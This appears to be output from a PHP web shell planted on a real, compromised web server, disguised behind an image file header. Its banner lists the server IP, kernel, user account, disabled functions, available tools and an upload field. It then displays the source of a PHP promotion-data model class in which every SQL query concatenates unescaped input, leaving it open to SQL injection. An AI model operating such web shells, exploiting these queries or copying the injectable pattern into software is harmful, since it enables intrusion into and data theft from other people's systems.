����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.148.221.78 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/core/app/model/ |
Upload File : |
<?php class PromotionData { public static $tablename = "promotion"; public function PromotionData(){ $this->name = ""; $this->tipo = ""; $this->monto = ""; $this->product_id = ""; $this->category_id = ""; $this->is_active = "1"; $this->created_ini = ""; $this->created_finish = ""; $this->created_at = "NOW()"; } public function add(){ $sql = "insert into ".self::$tablename." (name,tipo,monto,product_id,category_id,is_active,created_ini,created_finish,created_at) "; $sql .= "value (\"$this->name\",\"$this->tipo\",\"$this->monto\",\"$this->product_id\",$this->category_id,\"$this->is_active\",\"$this->created_ini\",\"$this->created_finish\",$this->created_at)"; return Executor::doit($sql); } public static function delById($id){ $sql = "delete from ".self::$tablename." where id=$id"; Executor::doit($sql); } public function del(){ $sql = "delete from ".self::$tablename." where id=$this->id"; Executor::doit($sql); } // partiendo de que ya tenemos creado un objecto PromotionData previamente utilizamos el contexto public function update(){ $sql = "update ".self::$tablename." set barcode=\"$this->barcode\",name=\"$this->name\",price_in=\"$this->price_in\",price_out=\"$this->price_out\",unit=\"$this->unit\",presentation=\"$this->presentation\",category_id=$this->category_id,inventary_min=\"$this->inventary_min\",description=\"$this->description\",is_active=\"$this->is_active\" where id=$this->id"; Executor::doit($sql); } public function updateP(){ $sql = "update ".self::$tablename." set price_out=\"$this->price_out\" where id=$this->id"; Executor::doit($sql); } public function updateC(){ $sql = "update ".self::$tablename." set name=\"$this->name\",is_active=\"$this->is_active\",finish_at=\"$this->finish_at\" where id=$this->id"; Executor::doit($sql); } public function del_category(){ $sql = "update ".self::$tablename." set category_id=NULL where id=$this->id"; Executor::doit($sql); } public function update_image(){ $sql = "update ".self::$tablename." set image=\"$this->image\" where id=$this->id"; Executor::doit($sql); } public static function getById($id){ $sql = "select * from ".self::$tablename." where id=$id"; $query = Executor::doit($sql); return Model::one($query[0],new PromotionData()); } // busqueda por id de la promocion public static function getById_P($id){ $sql = "select * from ".self::$tablename." where id=$id"; $query = Executor::doit($sql); return Model::one($query[0],new PromotionData()); } //buscar todos los registros public static function getAll(){ $sql = "select * from ".self::$tablename." LIMIT 0, 15"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } //buscar promocion por categoria public static function getAllByCategoryId($id){ $sql = "select * from ".self::$tablename." where category_id=$id"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } public static function getBycode($search2,$search3){ $sql = "select * from ".self::$tablename." where category_id = '$search3' or name LIKE '$search2'"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } public static function getByName($search){ $sql = "select * from ".self::$tablename." where name LIKE '$search'"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } public static function getAllByPage($start_from,$limit){ $sql = "select * from ".self::$tablename." where id>=$start_from limit $limit"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } public static function getLike($p){ $sql = "select * from ".self::$tablename." where barcode like '%$p%' or name like '%$p%' or id like '%$p%'"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } public static function getBycode2($search){ $sql = "select * from ".self::$tablename." where barcode ='$search'"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } public static function getAllByUserId($user_id){ $sql = "select * from ".self::$tablename." where user_id=$user_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new PromotionData()); } } ?>